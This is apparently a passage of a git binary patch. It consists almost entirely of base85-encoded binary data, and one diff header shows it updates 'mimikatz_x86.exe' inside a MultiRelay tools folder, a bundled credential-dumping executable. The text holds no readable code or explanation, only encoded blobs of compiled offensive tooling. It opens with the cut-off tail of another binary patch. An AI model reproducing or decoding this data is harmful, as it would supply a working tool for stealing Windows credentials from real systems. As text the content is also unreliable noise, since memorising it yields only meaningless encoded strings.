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 diff --git a/tools/MultiRelay/bin/mimikatz_x86.exe b/tools/MultiRelay/bin/mimikatz_x86.exe index 7bdcaf277c0b753c5a757714c35d36404a061b33..7a171455f17596add0fe80edca855ad9e0721d8a 100644 GIT binary patch delta 167147 zcma%k4O~=3_y69@0;?|Ws(>hQ>;kj;H7ma3pphj~%fPt5!B5g#n8s8d|n&vec%F#dn zw`Pqrn;Y4^Wra@D!~x!_)3i@|I<{9}Vi!&IG^vhH3Iv6w;HP8z_8e)yXSp3XB~SWj zua~;={l+GAL6bnzbjA0EPQug*HEbHW;7$xn$Pfk z%Rdv$)p`L>@cuBSxq*hS-#Xi5U6pLwX6Hs41k$!5rV7| zBRbMk+HmJRQGuGu+EsCenyhxv>99rKib73=dQc)y1>TW*tMI`6%kCE{xNOb7HTW=_ z%{ERT?h6_%eP}q15~kmtrAcbr+W1Y5Chd^jVzpX@i%6T5uo#r29V!ns3stBs-*>lD zqbYQ!P-*j6!fQfGNuiobScHn)-z>BeavE3!T*7GXD$L~piYHJiL$`;eGBWm%REA;? zOlr$+4wTU=jd-ZIelyjpthIMXFXBMhHHZM3+|AUs4{l^|0%$f<7kuC-1}1=}-da%k zxqXPCW{EbbHtEQ{sqc(O*Bl}DitkV0vZY@G`y>&d`42WX^DPCQtlA{S{9(tX9F4pD zsyl-c@*{l%HMX7wREXZRZj;i2hV^RMmZfoLT}*2*RCGW*#T0p)v^*##Y%BWOzQRy> z6hN9ElM<%eD*Y>H61P?QIVh5Uu8-6;c;szBa|cjmE$}>9GUoEKT+}B}Q&DRlA_ll> zBLI=*BtX&{%0tY;$pA1g64F{&NChz{uqt8I+oiR^(?R-Z@G$3=ERERBJy{R~QWp#M zU?uCS*w~zg`9))9Ax8@Wi%Zef0FYQ*s)T6)Z|>zUm#N&0a+D@1VHy-BDd^RI#akRm zGpXV^T2(|Pt0lEO`=X)p)ISR9v@2m(!Jguq#C1WabhU(tC)K89T`h^Mz1BGINWH}> zrVx*lE~Ncoe;{8R5wlhLP}dIw`cgMqzX>y0C{DyUHCv_LU551|t_4-r8Y(V9OkCx< z;3WpEG+{kaPbk@4(j|z?j02L`Ua2@H`bMUdX$502FuE3_(m{RmAhrMj-9gZ+MFcfA 